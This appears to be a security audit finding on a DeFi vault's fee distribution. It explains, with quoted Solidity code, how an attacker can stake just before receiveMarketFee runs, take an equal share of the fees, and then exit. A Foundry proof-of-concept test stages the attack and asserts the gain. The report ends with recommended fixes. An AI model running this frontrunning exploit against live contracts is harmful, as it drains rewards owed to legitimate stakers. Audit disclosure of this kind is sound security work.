Summary
An attacker can frontrun the receiveMarketFee
call to stake just before fees are distributed, allowing them to claim an equal share of rewards as legitimate stakers without actually contributing to the pool for a meaningful duration.
Vulnerability Details
Let say a valid user deposits and stakes assets in the vault. the user stake share gets updated.
/src/market-making/branches/VaultRouterBranch.sol:414
414: UD60x18 updatedActorShares = ud60x18(actor.shares).add(ud60x18(shares));
415:
416:
417: wethRewardDistribution.setActorShares(actorId, updatedActorShares);
The receiveMarketFee
call Receives collateral as a fee for processing and this fee later will be converted to WETH and sent to beneficiaries. i.e. feeRecipients
and the stakers
.
/src/market-making/branches/FeeDistributionBranch.sol:392
392:
393:
394: market.receiveWethReward(assetOut, receivedProtocolWethRewardX18, receivedVaultsWethRewardX18);
395:
396:
397: Vault.recalculateVaultsCreditCapacity(market.getConnectedVaultsIds());
In the recalculateVaultsCreditCapacity
function, distributeValue
is called.
/src/market-making/leaves/Vault.sol:448
448: if (!vaultTotalWethRewardChangeX18.isZero() && self.wethRewardDistribution.totalShares != 0) {
449: SD59x18 vaultTotalWethRewardChangeSD59X18 =
450: sd59x18(int256(vaultTotalWethRewardChangeX18.intoUint256()));
451: self.wethRewardDistribution.distributeValue(vaultTotalWethRewardChangeSD59X18);
452: }
In the distributeValue
function the valuePerShare
value get updated.
/src/market-making/leaves/Distribution.sol:28
28: function distributeValue(Data storage self, SD59x18 value) internal {
29: if (value.eq(SD59x18_ZERO)) {
30: return;
31: }
32:
33: UD60x18 totalShares = ud60x18(self.totalShares);
34:
35: if (totalShares.eq(UD60x18_ZERO)) {
36: revert Errors.EmptyDistribution();
37: }
38:
39: SD59x18 deltaValuePerShare = value.div(totalShares.intoSD59x18());
40:
41: self.valuePerShare = sd59x18(self.valuePerShare).add(deltaValuePerShare).intoInt256();
42: }
The attacker saw that the receiveMarketFee
is being executed. Attacker stakes just before receiveMarketFee
is executed.
Since fees are distributed based on current stake share, the attacker gets an equal share despite minimal participation. Fees are distributed to both the legitimate user and the attacker.
The attacker immediately claims their share by calling claimFees
. The claimFees calls getActorValueChange which internally calls _getActorValueChange
/src/market-making/leaves/Distribution.sol:106
106: function _getActorValueChange(
107: Data storage self,
108: Actor storage actor
109: )
110: private
111: view
112: returns (SD59x18 valueChange)
113: {
114:
115: SD59x18 deltaValuePerShare = sd59x18(self.valuePerShare).sub(sd59x18(actor.lastValuePerShare));
116: valueChange = deltaValuePerShare.mul(ud60x18(actor.shares).intoSD59x18());
117: }
The attacker unstakes and exits, having earned rewards unfairly.
Consider below proof of code:
POC
/test/integration/market-making/fee-distribution-branch/claimFees/claimFees.t.sol:477
478: function test_stake_frontrun_reward_poc() external {
479:
480: uint128 vaultId = WETH_CORE_VAULT_ID;
481: VaultConfig memory fuzzVaultConfig = getFuzzVaultConfig(vaultId);
482:
483:
484: address user = users.naruto.account;
485: address attacker = users.sasuke.account;
486:
487: uint128 assetsToDeposit = uint128(calculateMinOfSharesToStake(vaultId));
488: fundUserAndDepositInVault(user, vaultId, assetsToDeposit);
489:
490:
491: ClaimFeesState memory pre1 =
492: _getClaimFeesState(user, vaultId, IERC20(fuzzVaultConfig.asset), IERC20(fuzzVaultConfig.indexToken));
493:
494:
495: vm.startPrank(user);
496: marketMakingEngine.stake(vaultId, pre1.stakerVaultBal);
497:
498: vm.warp(block.timestamp + 1 days);
499:
500: uint128 attackerAssetsToDeposit = uint128(calculateMinOfSharesToStake(vaultId));
501: fundUserAndDepositInVault(attacker, vaultId, attackerAssetsToDeposit);
502:
503: ClaimFeesState memory pre2 =
504: _getClaimFeesState(attacker, vaultId, IERC20(fuzzVaultConfig.asset), IERC20(fuzzVaultConfig.indexToken));
505:
506:
507: vm.startPrank(attacker);
508: marketMakingEngine.stake(vaultId, pre2.stakerVaultBal);
509:
510:
511: assertEq(pre2.stakerShares, pre1.stakerShares);
512:
513:
514:
515: uint256 marketFees = 1_000_000_000_000_000_000;
516: deal(fuzzVaultConfig.asset, address(perpMarketsCreditConfig[ETH_USD_MARKET_ID].engine), marketFees);
517: changePrank({ msgSender: address(perpMarketsCreditConfig[ETH_USD_MARKET_ID].engine) });
518: vm.expectEmit({ emitter: address(marketMakingEngine) });
519: emit FeeDistributionBranch.LogReceiveMarketFee(fuzzVaultConfig.asset, ETH_USD_MARKET_ID, marketFees);
520: marketMakingEngine.receiveMarketFee(ETH_USD_MARKET_ID, fuzzVaultConfig.asset, marketFees);
521: assertEq(IERC20(fuzzVaultConfig.asset).balanceOf(address(marketMakingEngine)), marketFees);
522:
523: uint256 attacker_stakerEarnedFees = marketMakingEngine.getEarnedFees(vaultId, attacker);
524: uint256 stakerEarnedFees = marketMakingEngine.getEarnedFees(vaultId, user);
525: assertEq(attacker_stakerEarnedFees,stakerEarnedFees);
526:
527:
528:
529: uint256 attackerStakerWethBalBefore = IERC20(fuzzVaultConfig.asset).balanceOf(attacker);
530: changePrank({ msgSender: attacker });
531: marketMakingEngine.claimFees(vaultId);
532:
533:
534:
535: uint256 stakerWethBalBefore = IERC20(fuzzVaultConfig.asset).balanceOf(user);
536: changePrank({ msgSender: user });
537: marketMakingEngine.claimFees(vaultId);
538:
539:
540:
541: uint256 attacker_stakerReceivedRewards = IERC20(fuzzVaultConfig.asset).balanceOf(attacker) - attackerStakerWethBalBefore;
542:
543:
544: uint256 stakerReceivedRewards = IERC20(fuzzVaultConfig.asset).balanceOf(user) - stakerWethBalBefore;
545: assertEq(attacker_stakerReceivedRewards,stakerReceivedRewards);
546:
547: changePrank({ msgSender: attacker});
548: marketMakingEngine.unstake(fuzzVaultConfig.vaultId, pre2.stakerVaultBal);
549: changePrank({ msgSender: user});
550: marketMakingEngine.unstake(fuzzVaultConfig.vaultId, pre1.stakerVaultBal);
551:
552: }
Impact
Unfair fee distribution: Attackers earn rewards without real staking contribution.
Potential fund depletion: Repeated exploitation can drain legitimate stakers’ rewards.
Tools Used
Manual Review, Unit Testing
Recommendations
Implement a minimum staking period before rewards can be claimed.
Track stake timestamps and distribute fees based on stake duration.